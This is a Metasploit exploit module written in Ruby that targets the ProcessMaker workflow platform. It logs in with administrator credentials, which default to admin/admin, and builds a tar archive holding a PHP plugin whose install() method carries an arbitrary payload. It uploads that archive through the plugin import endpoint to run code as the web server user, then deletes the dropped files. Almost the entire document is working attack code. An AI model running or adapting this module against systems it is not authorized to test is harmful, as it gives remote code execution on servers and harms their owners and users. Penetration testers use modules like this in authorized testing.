## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ProcessMaker Plugin Upload', 'Description' => %q{ This module will generate and upload a plugin to ProcessMaker resulting in execution of PHP code as the web server user. Credentials for a valid user account with Administrator roles is required to run this module. This module has been tested successfully on ProcessMaker versions 1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1; and version 3.2.0 on Debian Linux 8. }, 'License' => MSF_LICENSE, 'Author' => 'Brendan Coles <bcoles[at]gmail.com>', 'References' => [ ['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development'] ], 'Payload' => { 'Space' => 20000 }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic Targeting', {} ]], 'Privileged' => false, 'DisclosureDate' => 'Aug 25 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']), OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']), OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow']) ]) end def login(user, pass) vars_post = Hash[{ 'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'), 'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal') }.to_a.shuffle] print_status "Authenticating as user '#{user}'" uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php" res = send_request_cgi 'method' => 'POST', 'uri' => uri, 'cookie' => @cookie, 'vars_post' => vars_post if !res fail_with Failure::Unreachable, 'Connection failed' elsif res.code == 200 && res.body =~ /Loading styles and images/ # ProcessMaker 2.x and 3.x print_good "#{peer} Authenticated as user '#{user}'" elsif res.code == 302 && res.headers['location'] =~ /(cases|processes)/ # ProcessMaker 1.x print_good "#{peer} Authenticated as user '#{user}'" else fail_with Failure::NoAccess, "#{peer} - Authentication failed" end end def upload_plugin plugin_name data = generate_plugin plugin_name print_status "#{peer} Uploading plugin '#{plugin_name}' (#{data.length} bytes)" # ProcessMaker 1.x requires "-" after the plugin name in the file name fname = "#{plugin_name}-.tar" boundary = "----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"__notValidateThisFields__\"\r\n" post_data << "\r\n\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"DynaformRequiredFields\"\r\n" post_data << "\r\n[]\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"form[PLUGIN_FILENAME]\"; filename=\"#{fname}\"\r\n" post_data << "Content-Type: application/x-tar\r\n" post_data << "\r\n#{data}\r\n" post_data << "--#{boundary}\r\n" uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsImportFile" res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'cookie' => @cookie, 'data' => post_data }, 5) # Installation spawns a shell, preventing a HTTP response. # If a response is received, something probably went wrong. if res if res.headers['location'] =~ /login/ fail_with Failure::NoAccess, 'Administrator privileges are required' else print_warning "#{peer} Unexpected reply" end end end def delete_plugin(plugin_name) uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsRemove" send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => @cookie, 'vars_post' => { 'pluginUid' => plugin_name } }, 5) end def generate_plugin(plugin_name) plugin_class = %Q|<?php class #{plugin_name}Class extends PMPlugin { function __construct() { set_include_path( PATH_PLUGINS . '#{plugin_name}' . PATH_SEPARATOR . get_include_path() ); } } | plugin_php = %Q|<?php G::LoadClass("plugin"); class #{plugin_name}Plugin extends PMPlugin { public function #{plugin_name}Plugin($sNamespace, $sFilename = null) { $res = parent::PMPlugin($sNamespace, $sFilename); $this->sFriendlyName = "#{plugin_name}"; $this->sDescription = "#{plugin_name}"; $this->sPluginFolder = "#{plugin_name}"; $this->sSetupPage = "setup"; $this->iVersion = 1; $this->aWorkspaces = null; return $res; } public function setup() {} public function install() { #{payload.encoded} } public function enable() {} public function disable() {} } $oPluginRegistry =& PMPluginRegistry::getSingleton(); $oPluginRegistry->registerPlugin('#{plugin_name}', __FILE__); | tarfile = StringIO.new Rex::Tar::Writer.new tarfile do |tar| tar.add_file "#{plugin_name}.php", 0777 do |io| io.write plugin_php end tar.add_file "#{plugin_name}/class.#{plugin_name}.php", 0777 do |io| io.write plugin_class end end tarfile.rewind tarfile.read end def cleanup delete_plugin @plugin_name end def exploit @workspace = datastore['WORKSPACE'] @cookie = "PHPSESSID=#{rand_text_alphanumeric rand(10) + 10};" login datastore['USERNAME'], datastore['PASSWORD'] @plugin_name = rand_text_alpha rand(10) + 10 upload_dir = "../../shared/sites/#{@workspace}/files/input/" register_file_for_cleanup "#{upload_dir}#{@plugin_name}-.tar" register_file_for_cleanup "#{upload_dir}#{@plugin_name}.php" register_file_for_cleanup "#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php" register_dir_for_cleanup "#{upload_dir}#{@plugin_name}" upload_plugin @plugin_name end end